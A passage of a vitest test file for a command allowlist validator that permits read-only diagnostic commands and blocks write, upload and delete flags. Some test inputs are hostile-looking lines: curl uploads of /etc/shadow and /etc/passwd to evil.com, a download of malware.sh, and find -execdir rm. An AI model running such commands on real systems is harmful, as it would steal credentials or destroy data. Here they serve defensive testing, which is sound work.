import { describe, it, expect } from "vitest";
import {
  COMMANDS,
  parseArgs,
  getCommandBinary,
  validateCommandRestrictions,
} from "./command-sets.js";

describe("COMMANDS registry", () => {
  const expectedCommands = [
    // text processing (sed removed)
    "grep", "sort", "uniq", "wc", "head", "tail", "jq", "yq",
    // network
    "ip", "ping", "curl", "ss", "dig",
    // RDMA
    "ibstat", "rdma", "ibswitches", "ibroute",
    // perftest
    "ib_write_bw", "ib_read_bw", "ib_send_bw",
    // GPU
    "nvidia-smi", "gpustat", "nvtopo",
    // hardware
    "lspci", "lscpu", "dmidecode",
    // kernel
    "sysctl", "dmesg", "lsmod",
    // process
    "ps", "pgrep", "top", "free", "nproc",
    // file
    "cat", "ls", "find", "pwd", "realpath", "diff", "md5sum",
    // general
    "env", "printenv", "which",
    // flow control
    "echo", "sleep", "test",
    // math
    "expr", "seq",
  ];

  for (const cmd of expectedCommands) {
    it(`contains "${cmd}"`, () => {
      expect(cmd in COMMANDS).toBe(true);
    });
  }

  // new DevOps commands
  const newCommands = [
    "journalctl", "systemctl", "crictl", "ctr",
    "iptables", "ip6tables", "tee", "lsof", "lsns",
    "sar", "blkid", "timedatectl", "hostnamectl",
    "zcat", "zgrep", "bzcat", "xzcat", "strings",
  ];
  for (const cmd of newCommands) {
    it(`contains "${cmd}"`, () => {
      expect(cmd in COMMANDS).toBe(true);
    });
  }

  it("does NOT contain sed (removed for security)", () => {
    expect("sed" in COMMANDS).toBe(false);
  });

  it("does NOT contain wget", () => {
    expect("wget" in COMMANDS).toBe(false);
  });

  it("does NOT contain bc (! escapes to shell)", () => {
    expect("bc" in COMMANDS).toBe(false);
  });

  it("does NOT contain kubectl", () => {
    expect("kubectl" in COMMANDS).toBe(false);
  });

  it("does NOT contain rm", () => {
    expect("rm" in COMMANDS).toBe(false);
  });
});

describe("parseArgs", () => {
  it("splits simple arguments", () => {
    expect(parseArgs("get pods -n default")).toEqual(["get", "pods", "-n", "default"]);
  });

  it("handles quoted strings", () => {
    expect(parseArgs('get pods -l "app=my service"')).toEqual(["get", "pods", "-l", "app=my service"]);
  });

  it("returns empty array for empty string", () => {
    expect(parseArgs("")).toEqual([]);
  });
});

describe("getCommandBinary", () => {
  it("extracts simple command", () => {
    expect(getCommandBinary("kubectl get pods")).toBe("kubectl");
  });

  it("extracts from absolute path", () => {
    expect(getCommandBinary("/usr/bin/curl http://example.com")).toBe("curl");
  });

  it("strips env var prefix", () => {
    expect(getCommandBinary("FOO=1 BAR=2 kubectl get pods")).toBe("kubectl");
  });
});

describe("validateCommandRestrictions", () => {
  // ─── B1: Text Processing ────────────────────────────────────

  describe("sort restrictions", () => {
    it("allows read-only sort", () => {
      expect(validateCommandRestrictions("sort -r -n -k 2 file.txt")).toBeNull();
      expect(validateCommandRestrictions("sort --reverse --numeric-sort file.txt")).toBeNull();
      expect(validateCommandRestrictions("sort -t, -k2,2 data.csv")).toBeNull();
      expect(validateCommandRestrictions("sort -u file.txt")).toBeNull();
      expect(validateCommandRestrictions("sort -h -V file.txt")).toBeNull();
    });

    it("blocks sort -o (output to file)", () => {
      const err = validateCommandRestrictions("sort -o /tmp/out file.txt");
      expect(err).not.toBeNull();
      expect(err).toContain("-o");
    });

    it("blocks sort --output", () => {
      const err = validateCommandRestrictions("sort --output=/tmp/out file.txt");
      expect(err).not.toBeNull();
      expect(err).toContain("--output");
    });

    it("allows combined short flags when all are whitelisted (sort -rn)", () => {
      expect(validateCommandRestrictions("sort -rn file.txt")).toBeNull();
      expect(validateCommandRestrictions("sort -nru file.txt")).toBeNull();
    });

    it("blocks combined short flags that hide unsafe flags (sort -ro)", () => {
      const err = validateCommandRestrictions("sort -ro /tmp/out file.txt");
      expect(err).not.toBeNull();
      expect(err).toContain("-o");
      expect(err).toContain("-ro");
    });

    it("blocks combined short flags with unknown chars (sort -rz)", () => {
      const err = validateCommandRestrictions("sort -rz file.txt");
      expect(err).not.toBeNull();
      expect(err).toContain("-z");
      expect(err).toContain("-rz");
    });

    it("allows short flag with attached non-letter value (sort -k2,3)", () => {
      expect(validateCommandRestrictions("sort -k2,3 file.txt")).toBeNull();
      expect(validateCommandRestrictions("sort -t, -k2,2 data.csv")).toBeNull();
      expect(validateCommandRestrictions("sort -k20,30 file.txt")).toBeNull();
    });
  });

  describe("find restrictions", () => {
    it("allows read-only find", () => {
      expect(validateCommandRestrictions("find /tmp -name '*.log' -type f")).toBeNull();
      expect(validateCommandRestrictions("find . -name '*.ts' -print")).toBeNull();
      expect(validateCommandRestrictions("find /var -maxdepth 2 -ls")).toBeNull();
      expect(validateCommandRestrictions("find /tmp -name '*.tmp' -print0")).toBeNull();
    });

    it("allows find -printf (read-only formatting)", () => {
      expect(validateCommandRestrictions("find / -xdev -printf '%h\\n'")).toBeNull();
    });

    it("blocks find -exec", () => {
      const err = validateCommandRestrictions("find / -name foo -exec cat {}");
      expect(err).not.toBeNull();
      expect(err).toContain("-exec");
    });

    it("blocks find -execdir", () => {
      const err = validateCommandRestrictions("find / -name foo -execdir rm {}");
      expect(err).not.toBeNull();
      expect(err).toContain("-execdir");
    });

    it("blocks find -delete", () => {
      const err = validateCommandRestrictions("find /tmp -name '*.tmp' -delete");
      expect(err).not.toBeNull();
      expect(err).toContain("-delete");
    });

    it("blocks find -ok", () => {
      const err = validateCommandRestrictions("find / -name foo -ok rm {}");
      expect(err).not.toBeNull();
      expect(err).toContain("-ok");
    });

    it("blocks find -okdir", () => {
      const err = validateCommandRestrictions("find / -name foo -okdir rm {}");
      expect(err).not.toBeNull();
      expect(err).toContain("-okdir");
    });

    it("blocks find -fprint", () => {
      const err = validateCommandRestrictions("find / -name '*.log' -fprint /tmp/out");
      expect(err).not.toBeNull();
      expect(err).toContain("-fprint");
    });

    it("blocks find -fprint0", () => {
      const err = validateCommandRestrictions("find / -fprint0 /tmp/out");
      expect(err).not.toBeNull();
      expect(err).toContain("-fprint0");
    });

    it("blocks find -fprintf", () => {
      const err = validateCommandRestrictions("find / -fprintf /tmp/out '%p'");
      expect(err).not.toBeNull();
      expect(err).toContain("-fprintf");
    });

    it("blocks find -fls", () => {
      const err = validateCommandRestrictions("find / -fls /tmp/out");
      expect(err).not.toBeNull();
      expect(err).toContain("-fls");
    });
  });

  describe("yq restrictions", () => {
    it("allows read-only yq", () => {
      expect(validateCommandRestrictions("yq '.key' file.yaml")).toBeNull();
      expect(validateCommandRestrictions("yq -r '.key' file.yaml")).toBeNull();
      expect(validateCommandRestrictions("yq -o=json file.yaml")).toBeNull();
      expect(validateCommandRestrictions("yq -P file.yaml")).toBeNull();
    });

    it("blocks yq -i (inplace)", () => {
      const err = validateCommandRestrictions("yq -i '.key = 1' file.yaml");
      expect(err).not.toBeNull();
      expect(err).toContain("-i");
    });

    it("blocks yq --inplace", () => {
      const err = validateCommandRestrictions("yq --inplace '.key = 1' file.yaml");
      expect(err).not.toBeNull();
      expect(err).toContain("--inplace");
    });

    it("blocks yq --in-place", () => {
      const err = validateCommandRestrictions("yq --in-place '.key = 1' file.yaml");
      expect(err).not.toBeNull();
      expect(err).toContain("--in-place");
    });
  });

  describe("uniq restrictions", () => {
    it("allows uniq from stdin", () => {
      expect(validateCommandRestrictions("uniq")).toBeNull();
      expect(validateCommandRestrictions("uniq -c")).toBeNull();
      expect(validateCommandRestrictions("uniq -d input.txt")).toBeNull();
    });

    it("blocks uniq with output file", () => {
      const err = validateCommandRestrictions("uniq input output");
      expect(err).not.toBeNull();
      expect(err).toContain("more than 1 positional");
    });
  });

  // ─── B2: Network Diagnostics ────────────────────────────────

  describe("ethtool restrictions", () => {
    it("allows read-only ethtool", () => {
      expect(validateCommandRestrictions("ethtool eth0")).toBeNull();
      expect(validateCommandRestrictions("ethtool -i eth0")).toBeNull();
      expect(validateCommandRestrictions("ethtool -S eth0")).toBeNull();
      expect(validateCommandRestrictions("ethtool -T eth0")).toBeNull();
      expect(validateCommandRestrictions("ethtool -k eth0")).toBeNull();
    });

    it("blocks ethtool -s (set)", () => {
      const err = validateCommandRestrictions("ethtool -s eth0 speed 100");
      expect(err).not.toBeNull();
      expect(err).toContain("-s");
    });

    it("blocks ethtool -K (set offload)", () => {
      const err = validateCommandRestrictions("ethtool -K eth0 tso off");
      expect(err).not.toBeNull();
      expect(err).toContain("-K");
    });

    it("blocks ethtool -A (set pause)", () => {
      const err = validateCommandRestrictions("ethtool -A eth0 rx on");
      expect(err).not.toBeNull();
      expect(err).toContain("-A");
    });
  });

  describe("tc restrictions", () => {
    it("allows tc show/list", () => {
      expect(validateCommandRestrictions("tc qdisc show")).toBeNull();
      expect(validateCommandRestrictions("tc class show dev eth0")).toBeNull();
      expect(validateCommandRestrictions("tc filter list dev eth0")).toBeNull();
      expect(validateCommandRestrictions("tc qdisc ls")).toBeNull();
      expect(validateCommandRestrictions("tc qdisc")).toBeNull(); // default show
    });

    it("blocks tc add", () => {
      const err = validateCommandRestrictions("tc qdisc add dev eth0 root netem delay 1s");
      expect(err).not.toBeNull();
      expect(err).toContain("add");
    });

    it("blocks tc del", () => {
      const err = validateCommandRestrictions("tc qdisc del dev eth0 root");
      expect(err).not.toBeNull();
      expect(err).toContain("del");
    });

    it("blocks tc change", () => {
      const err = validateCommandRestrictions("tc qdisc change dev eth0 root netem delay 2s");
      expect(err).not.toBeNull();
      expect(err).toContain("change");
    });
  });

  describe("bridge restrictions", () => {
    it("allows bridge show", () => {
      expect(validateCommandRestrictions("bridge link show")).toBeNull();
      expect(validateCommandRestrictions("bridge fdb list")).toBeNull();
      expect(validateCommandRestrictions("bridge vlan")).toBeNull(); // default show
    });

    it("blocks bridge add", () => {
      const err = validateCommandRestrictions("bridge fdb add 00:11:22:33:44:55 dev eth0");
      expect(err).not.toBeNull();
      expect(err).toContain("add");
    });

    it("blocks bridge del", () => {
      const err = validateCommandRestrictions("bridge fdb del 00:11:22:33:44:55 dev eth0");
      expect(err).not.toBeNull();
      expect(err).toContain("del");
    });
  });

  describe("route restrictions", () => {
    it("allows route display", () => {
      expect(validateCommandRestrictions("route")).toBeNull();
      expect(validateCommandRestrictions("route -n")).toBeNull();
      expect(validateCommandRestrictions("route -e -v")).toBeNull();
    });

    it("blocks route add", () => {
      const err = validateCommandRestrictions("route add -net 10.0.0.0/8 gw 192.168.1.1");
      expect(err).not.toBeNull();
      expect(err).toContain("add");
    });

    it("blocks route del", () => {
      const err = validateCommandRestrictions("route del default");
      expect(err).not.toBeNull();
      expect(err).toContain("del");
    });
  });

  describe("arp restrictions", () => {
    it("allows read-only arp", () => {
      expect(validateCommandRestrictions("arp")).toBeNull();
      expect(validateCommandRestrictions("arp -a")).toBeNull();
      expect(validateCommandRestrictions("arp -n")).toBeNull();
      expect(validateCommandRestrictions("arp -a -n 10.0.0.1")).toBeNull();
    });

    it("blocks arp -s (set)", () => {
      const err = validateCommandRestrictions("arp -s 10.0.0.1 00:11:22:33:44:55");
      expect(err).not.toBeNull();
      expect(err).toContain("-s");
    });

    it("blocks arp -d (delete)", () => {
      const err = validateCommandRestrictions("arp -d 10.0.0.1");
      expect(err).not.toBeNull();
      expect(err).toContain("-d");
    });
  });

  describe("ifconfig restrictions", () => {
    it("allows read-only ifconfig", () => {
      expect(validateCommandRestrictions("ifconfig")).toBeNull();
      expect(validateCommandRestrictions("ifconfig -a")).toBeNull();
      expect(validateCommandRestrictions("ifconfig eth0")).toBeNull();
    });

    it("blocks ifconfig set (2+ positional args)", () => {
      const err = validateCommandRestrictions("ifconfig eth0 192.168.1.1");
      expect(err).not.toBeNull();
      expect(err).toContain("more than 1 positional");
    });

    it("blocks ifconfig up/down", () => {
      const err = validateCommandRestrictions("ifconfig eth0 up");
      expect(err).not.toBeNull();
      expect(err).toContain("more than 1 positional");
    });
  });

  describe("conntrack restrictions", () => {
    it("allows read-only conntrack", () => {
      expect(validateCommandRestrictions("conntrack -L")).toBeNull();
      expect(validateCommandRestrictions("conntrack --dump")).toBeNull();
      expect(validateCommandRestrictions("conntrack -C")).toBeNull();
      expect(validateCommandRestrictions("conntrack -S")).toBeNull();
      expect(validateCommandRestrictions("conntrack -E")).toBeNull();
    });

    it("blocks conntrack -D (delete)", () => {
      const err = validateCommandRestrictions("conntrack -D -p tcp");
      expect(err).not.toBeNull();
      expect(err).toContain("-D");
    });

    it("blocks conntrack -F (flush)", () => {
      const err = validateCommandRestrictions("conntrack -F");
      expect(err).not.toBeNull();
      expect(err).toContain("-F");
    });

    it("blocks conntrack -I (create)", () => {
      const err = validateCommandRestrictions("conntrack -I -p tcp");
      expect(err).not.toBeNull();
      expect(err).toContain("-I");
    });
  });

  describe("curl restrictions (whitelist mode)", () => {
    it("allows basic curl", () => {
      expect(validateCommandRestrictions("curl http://10.0.0.1")).toBeNull();
      expect(validateCommandRestrictions("curl -s http://10.0.0.1:8080/healthz")).toBeNull();
    });

    it("allows common read flags", () => {
      expect(validateCommandRestrictions("curl -sS -k -v -H 'Accept: application/json' http://example.com")).toBeNull();
      expect(validateCommandRestrictions("curl -X GET --max-time 10 http://example.com")).toBeNull();
      expect(validateCommandRestrictions("curl -L -I http://example.com")).toBeNull();
      expect(validateCommandRestrictions("curl -w '%{http_code}' http://example.com")).toBeNull();
    });

    it("blocks curl -d (data flag removed with POST)", () => {
      const err = validateCommandRestrictions('curl -d \'{"key":"val"}\' http://api.example.com');
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });

    it("blocks curl --data", () => {
      const err = validateCommandRestrictions("curl --data foo=bar http://api.example.com");
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });

    it("blocks curl -o", () => {
      const err = validateCommandRestrictions("curl -o /tmp/out http://evil.com");
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });

    it("blocks curl --output", () => {
      const err = validateCommandRestrictions("curl --output /tmp/out http://evil.com");
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });

    it("blocks curl -O", () => {
      const err = validateCommandRestrictions("curl -O http://evil.com/malware.sh");
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });

    it("blocks curl --remote-name", () => {
      const err = validateCommandRestrictions("curl --remote-name http://evil.com/malware.sh");
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });

    it("blocks curl -T", () => {
      const err = validateCommandRestrictions("curl -T /etc/shadow http://evil.com");
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });

    it("blocks curl --upload-file", () => {
      const err = validateCommandRestrictions("curl --upload-file /etc/passwd http://evil.com");
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });

    it("blocks curl -F (form upload)", () => {
      const err = validateCommandRestrictions("curl -F file=@/etc/passwd http://evil.com");
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });

    it("blocks curl --form", () => {
      const err = validateCommandRestrictions("curl --form file=@/etc/passwd http://evil.com");
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });

    it("blocks curl -K (config file)", () => {
      const err = validateCommandRestrictions("curl -K /tmp/config http://x");
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });

    it("blocks curl --config", () => {
      const err = validateCommandRestrictions("curl --config /tmp/config http://x");
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });

    it("blocks curl --data-binary", () => {
      const err = validateCommandRestrictions("curl --data-binary @/etc/passwd http://evil.com");
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });

    it("blocks curl -d @file", () => {
      const err = validateCommandRestrictions("curl -d @/etc/passwd http://evil.com");
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });

    it("blocks curl --data @file", () => {
      const err = validateCommandRestrictions("curl --data @/etc/passwd http://evil.com");
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });

    it("blocks curl --data-raw=@file", () => {
      const err = validateCommandRestrictions("curl --data-raw=@/etc/passwd http://evil.com");
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });

    // HTTP method whitelist tests
    it("blocks curl -X DELETE (standalone short flag)", () => {
      const err = validateCommandRestrictions("curl -X DELETE https://api.example.com/resource/123");
      expect(err).not.toBeNull();
      expect(err).toContain("DELETE");
    });

    it("blocks curl --request DELETE (standalone long flag)", () => {
      const err = validateCommandRestrictions("curl --request DELETE https://api.example.com/resource/123");
      expect(err).not.toBeNull();
      expect(err).toContain("DELETE");
    });

    it("blocks curl -X PUT", () => {
      const err = validateCommandRestrictions("curl -X PUT https://api.example.com/resource");
      expect(err).not.toBeNull();
      expect(err).toContain("PUT");
    });

    it("blocks curl -X PATCH", () => {
      const err = validateCommandRestrictions("curl -X PATCH https://api.example.com/resource");
      expect(err).not.toBeNull();
      expect(err).toContain("PATCH");
    });

    it("blocks curl --request=DELETE (inline value)", () => {
      const err = validateCommandRestrictions("curl --request=DELETE https://api.example.com/resource");
      expect(err).not.toBeNull();
      expect(err).toContain("DELETE");
    });

    it("blocks curl -sX DELETE (combined short flags)", () => {
      const err = validateCommandRestrictions("curl -sX DELETE https://api.example.com/resource");
      expect(err).not.toBeNull();
      expect(err).toContain("DELETE");
    });

    it("blocks curl -X=DELETE (short flag with =)", () => {
      const err = validateCommandRestrictions("curl -X=DELETE https://api.example.com/resource");
      expect(err).not.toBeNull();
      expect(err).toContain("DELETE");
    });

    it("allows curl -X GET", () => {
      expect(validateCommandRestrictions("curl -X GET https://api.example.com/resource")).toBeNull();
    });

    it("blocks curl -X POST", () => {
      const err = validateCommandRestrictions("curl -X POST https://api.example.com/resource");
      expect(err).not.toBeNull();
      expect(err).toContain("POST");
    });

    it("allows curl -X HEAD", () => {
      expect(validateCommandRestrictions("curl -X HEAD https://api.example.com/resource")).toBeNull();
    });

    it("allows curl -X OPTIONS", () => {
      expect(validateCommandRestrictions("curl -X OPTIONS https://api.example.com/resource")).toBeNull();
    });

    it("blocks curl --json (implies POST)", () => {
      const err = validateCommandRestrictions("curl --json '{\"a\":1}' https://api.example.com/resource");
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });
  });

  describe("rdma restrictions", () => {
    it("allows rdma show", () => {
      expect(validateCommandRestrictions("rdma dev show")).toBeNull();
      expect(validateCommandRestrictions("rdma link list")).toBeNull();
      expect(validateCommandRestrictions("rdma dev")).toBeNull(); // default show
    });

    it("blocks rdma set", () => {
      const err = validateCommandRestrictions("rdma dev set mlx5_0 adaptive-moderation on");
      expect(err).not.toBeNull();
      expect(err).toContain("set");
    });
  });

  describe("ibportstate restrictions", () => {
    it("allows ibportstate query", () => {
      expect(validateCommandRestrictions("ibportstate 1 1 query")).toBeNull();
      expect(validateCommandRestrictions("ibportstate 1 1")).toBeNull(); // default query
    });

    it("blocks ibportstate enable", () => {
      const err = validateCommandRestrictions("ibportstate 1 1 enable");
      expect(err).not.toBeNull();
      expect(err).toContain("enable");
    });

    it("blocks ibportstate disable", () => {
      const err = validateCommandRestrictions("ibportstate 1 1 disable");
      expect(err).not.toBeNull();
      expect(err).toContain("disable");
    });

    it("blocks ibportstate reset", () => {
      const err = validateCommandRestrictions("ibportstate 1 1 reset");
      expect(err).not.toBeNull();
      expect(err).toContain("reset");
    });

    it("blocks ibportstate speed", () => {
      const err = validateCommandRestrictions("ibportstate 1 1 speed 14");
      expect(err).not.toBeNull();
      expect(err).toContain("speed");
    });
  });

  // ─── B3: System / Hardware ──────────────────────────────────

  describe("nvidia-smi restrictions", () => {
    it("allows read-only nvidia-smi", () => {
      expect(validateCommandRestrictions("nvidia-smi")).toBeNull();
      expect(validateCommandRestrictions("nvidia-smi -q")).toBeNull();
      expect(validateCommandRestrictions("nvidia-smi --query")).toBeNull();
      expect(validateCommandRestrictions("nvidia-smi -L")).toBeNull();
      expect(validateCommandRestrictions("nvidia-smi --list-gpus")).toBeNull();
      expect(validateCommandRestrictions("nvidia-smi --query-gpu=gpu_name,memory.total")).toBeNull();
      expect(validateCommandRestrictions("nvidia-smi --query-compute-apps=pid,gpu_name")).toBeNull();
      expect(validateCommandRestrictions("nvidia-smi -i 0")).toBeNull();
      expect(validateCommandRestrictions("nvidia-smi topo -m")).toBeNull();
      expect(validateCommandRestrictions("nvidia-smi nvlink -s")).toBeNull();
    });

    it("blocks nvidia-smi --gpu-reset", () => {
      const err = validateCommandRestrictions("nvidia-smi --gpu-reset");
      expect(err).not.toBeNull();
      expect(err).toContain("--gpu-reset");
    });

    it("blocks nvidia-smi -pm (persistence mode)", () => {
      const err = validateCommandRestrictions("nvidia-smi -pm 1");
      expect(err).not.toBeNull();
      expect(err).toContain("-pm");
    });

    it("blocks nvidia-smi -e (ECC)", () => {
      const err = validateCommandRestrictions("nvidia-smi -e 1");
      expect(err).not.toBeNull();
      expect(err).toContain("-e");
    });

    it("blocks nvidia-smi -ac (application clocks)", () => {
      const err = validateCommandRestrictions("nvidia-smi -ac 5001,1590");
      expect(err).not.toBeNull();
      expect(err).toContain("-ac");
    });
  });

  describe("hostname restrictions", () => {
    it("allows read-only hostname", () => {
      expect(validateCommandRestrictions("hostname")).toBeNull();
      expect(validateCommandRestrictions("hostname -f")).toBeNull();
      expect(validateCommandRestrictions("hostname -s")).toBeNull();
      expect(validateCommandRestrictions("hostname -i")).toBeNull();
      expect(validateCommandRestrictions("hostname -I")).toBeNull();
    });

    it("blocks hostname set (positional arg)", () => {
      const err = validateCommandRestrictions("hostname evil");
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });
  });

  describe("date restrictions", () => {
    it("allows read-only date", () => {
      expect(validateCommandRestrictions("date")).toBeNull();
      expect(validateCommandRestrictions("date +%Y-%m-%d")).toBeNull();
      expect(validateCommandRestrictions("date -u")).toBeNull();
      expect(validateCommandRestrictions("date -d '2024-01-01'")).toBeNull();
      expect(validateCommandRestrictions("date --iso-8601")).toBeNull();
      expect(validateCommandRestrictions("date -R")).toBeNull();
    });

    it("blocks date -s (set)", () => {
      const err = validateCommandRestrictions("date -s 2020-01-01");
      expect(err).not.toBeNull();
      expect(err).toContain("-s");
    });

    it("blocks date --set", () => {
      const err = validateCommandRestrictions("date --set=2020-01-01");
      expect(err).not.toBeNull();
      expect(err).toContain("--set");
    });

    it("blocks date with non-+ positional", () => {
      const err = validateCommandRestrictions("date 01010000");
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });
  });

  describe("dmesg restrictions", () => {
    it("allows read-only dmesg", () => {
      expect(validateCommandRestrictions("dmesg")).toBeNull();
      expect(validateCommandRestrictions("dmesg -T")).toBeNull();
      expect(validateCommandRestrictions("dmesg -H")).toBeNull();
      expect(validateCommandRestrictions("dmesg -l err,warn")).toBeNull();
      expect(validateCommandRestrictions("dmesg -k")).toBeNull();
      expect(validateCommandRestrictions("dmesg --since '1 hour ago'")).toBeNull();
    });

    it("blocks dmesg -C (clear)", () => {
      const err = validateCommandRestrictions("dmesg -C");
      expect(err).not.toBeNull();
      expect(err).toContain("-C");
    });

    it("blocks dmesg --clear", () => {
      const err = validateCommandRestrictions("dmesg --clear");
      expect(err).not.toBeNull();
      expect(err).toContain("--clear");
    });

    it("blocks dmesg -c (read-clear)", () => {
      const err = validateCommandRestrictions("dmesg -c");
      expect(err).not.toBeNull();
      expect(err).toContain("-c");
    });

    it("blocks dmesg -n (console-level)", () => {
      const err = validateCommandRestrictions("dmesg -n 1");
      expect(err).not.toBeNull();
      expect(err).toContain("-n");
    });

    it("blocks dmesg -D (console-off)", () => {
      const err = validateCommandRestrictions("dmesg -D");
      expect(err).not.toBeNull();
      expect(err).toContain("-D");
    });

    it("blocks combined short flags hiding unsafe ops (dmesg -Tc)", () => {
      const err = validateCommandRestrictions("dmesg -Tc");
      expect(err).not.toBeNull();
      expect(err).toContain("-Tc");
    });

    it("blocks dmesg -w (follow — hangs indefinitely)", () => {
      const err = validateCommandRestrictions("dmesg -w");
      expect(err).not.toBeNull();
      expect(err).toContain("-w");
    });

    it("blocks dmesg --follow", () => {
      const err = validateCommandRestrictions("dmesg --follow");
      expect(err).not.toBeNull();
      expect(err).toContain("--follow");
    });

    it("blocks dmesg -W (follow-new)", () => {
      const err = validateCommandRestrictions("dmesg -W");
      expect(err).not.toBeNull();
      expect(err).toContain("-W");
    });
  });

  describe("timedatectl restrictions", () => {
    it("allows read-only timedatectl", () => {
      expect(validateCommandRestrictions("timedatectl")).toBeNull();
      expect(validateCommandRestrictions("timedatectl status")).toBeNull();
      expect(validateCommandRestrictions("timedatectl show")).toBeNull();
      expect(validateCommandRestrictions("timedatectl list-timezones")).toBeNull();
      expect(validateCommandRestrictions("timedatectl timesync-status")).toBeNull();
    });

    it("blocks timedatectl set-time", () => {
      const err = validateCommandRestrictions("timedatectl set-time 2020-01-01");
      expect(err).not.toBeNull();
      expect(err).toContain("set-time");
    });

    it("blocks timedatectl set-timezone", () => {
      const err = validateCommandRestrictions("timedatectl set-timezone UTC");
      expect(err).not.toBeNull();
      expect(err).toContain("set-timezone");
    });

    it("blocks timedatectl set-ntp", () => {
      const err = validateCommandRestrictions("timedatectl set-ntp true");
      expect(err).not.toBeNull();
      expect(err).toContain("set-ntp");
    });
  });

  describe("hostnamectl restrictions", () => {
    it("allows read-only hostnamectl", () => {
      expect(validateCommandRestrictions("hostnamectl")).toBeNull();
      expect(validateCommandRestrictions("hostnamectl status")).toBeNull();
      expect(validateCommandRestrictions("hostnamectl show")).toBeNull();
    });

    it("blocks hostnamectl set-hostname", () => {
      const err = validateCommandRestrictions("hostnamectl set-hostname evil");
      expect(err).not.toBeNull();
      expect(err).toContain("set-hostname");
    });

    it("blocks hostnamectl set-chassis", () => {
      const err = validateCommandRestrictions("hostnamectl set-chassis server");
      expect(err).not.toBeNull();
      expect(err).toContain("set-chassis");
    });
  });

  describe("journalctl restrictions (whitelist mode)", () => {
    it("allows read-only journalctl", () => {
      expect(validateCommandRestrictions("journalctl -u kubelet -n 100")).toBeNull();
      expect(validateCommandRestrictions("journalctl --since '1h ago'")).toBeNull();
      expect(validateCommandRestrictions("journalctl -p err -b")).toBeNull();
      expect(validateCommandRestrictions("journalctl -o json --no-pager")).toBeNull();
      expect(validateCommandRestrictions("journalctl --list-boots")).toBeNull();
      expect(validateCommandRestrictions("journalctl -k -r")).toBeNull();
      expect(validateCommandRestrictions("journalctl _SYSTEMD_UNIT=sshd.service")).toBeNull();
    });

    it("blocks journalctl -f (follow)", () => {
      const err = validateCommandRestrictions("journalctl -f");
      expect(err).not.toBeNull();
      expect(err).toContain("-f");
    });

    it("blocks journalctl --follow", () => {
      const err = validateCommandRestrictions("journalctl --follow");
      expect(err).not.toBeNull();
      expect(err).toContain("--follow");
    });

    it("blocks journalctl -u kubelet -f", () => {
      const err = validateCommandRestrictions("journalctl -u kubelet -f");
      expect(err).not.toBeNull();
      expect(err).toContain("-f");
    });

    it("blocks journalctl --vacuum-size", () => {
      const err = validateCommandRestrictions("journalctl --vacuum-size=1K");
      expect(err).not.toBeNull();
      expect(err).toContain("--vacuum-size");
    });

    it("blocks journalctl --vacuum-time", () => {
      const err = validateCommandRestrictions("journalctl --vacuum-time=1d");
      expect(err).not.toBeNull();
      expect(err).toContain("--vacuum-time");
    });

    it("blocks journalctl --rotate", () => {
      const err = validateCommandRestrictions("journalctl --rotate");
      expect(err).not.toBeNull();
      expect(err).toContain("--rotate");
    });

    it("blocks journalctl --flush", () => {
      const err = validateCommandRestrictions("journalctl --flush");
      expect(err).not.toBeNull();
      expect(err).toContain("--flush");
    });
  });

  describe("sysctl restrictions (whitelist mode)", () => {
    it("allows sysctl read", () => {
      expect(validateCommandRestrictions("sysctl net.ipv4.ip_forward")).toBeNull();
      expect(validateCommandRestrictions("sysctl -a")).toBeNull();
      expect(validateCommandRestrictions("sysctl -n net.ipv4.tcp_syncookies")).toBeNull();
      expect(validateCommandRestrictions("sysctl -N")).toBeNull();
    });

    it("blocks sysctl -w", () => {
      const err = validateCommandRestrictions("sysctl -w net.ipv4.ip_forward=1");
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });

    it("blocks sysctl --write", () => {
      const err = validateCommandRestrictions("sysctl --write net.ipv4.ip_forward=1");
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });

    it("blocks sysctl key=value", () => {
      const err = validateCommandRestrictions("sysctl net.ipv4.ip_forward=1");
      expect(err).not.toBeNull();
      expect(err).toContain("write");
    });

    it("blocks sysctl -p (load)", () => {
      const err = validateCommandRestrictions("sysctl -p /etc/sysctl.conf");
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });

    it("blocks sysctl --system", () => {
      const err = validateCommandRestrictions("sysctl --system");
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });
  });

  describe("iptables restrictions (whitelist mode)", () => {
    it("allows iptables -L", () => {
      expect(validateCommandRestrictions("iptables -L")).toBeNull();
    });

    it("allows iptables -S", () => {
      expect(validateCommandRestrictions("iptables -S")).toBeNull();
    });

    it("allows iptables -L -n -v --line-numbers", () => {
      expect(validateCommandRestrictions("iptables -L -n -v --line-numbers")).toBeNull();
    });

    it("allows iptables -t nat -L -n", () => {
      expect(validateCommandRestrictions("iptables -t nat -L -n")).toBeNull();
    });

    it("allows ip6tables -L -n", () => {
      expect(validateCommandRestrictions("ip6tables -L -n")).toBeNull();
    });

    it("blocks iptables -A", () => {
      const err = validateCommandRestrictions("iptables -A INPUT -j DROP");
      expect(err).not.toBeNull();
      expect(err).toContain("-A");
    });

    it("blocks iptables -D", () => {
      const err = validateCommandRestrictions("iptables -D INPUT 1");
      expect(err).not.toBeNull();
      expect(err).toContain("-D");
    });

    it("blocks iptables -I", () => {
      const err = validateCommandRestrictions("iptables -I INPUT -j ACCEPT");
      expect(err).not.toBeNull();
      expect(err).toContain("-I");
    });

    it("blocks iptables -F", () => {
      const err = validateCommandRestrictions("iptables -F");
      expect(err).not.toBeNull();
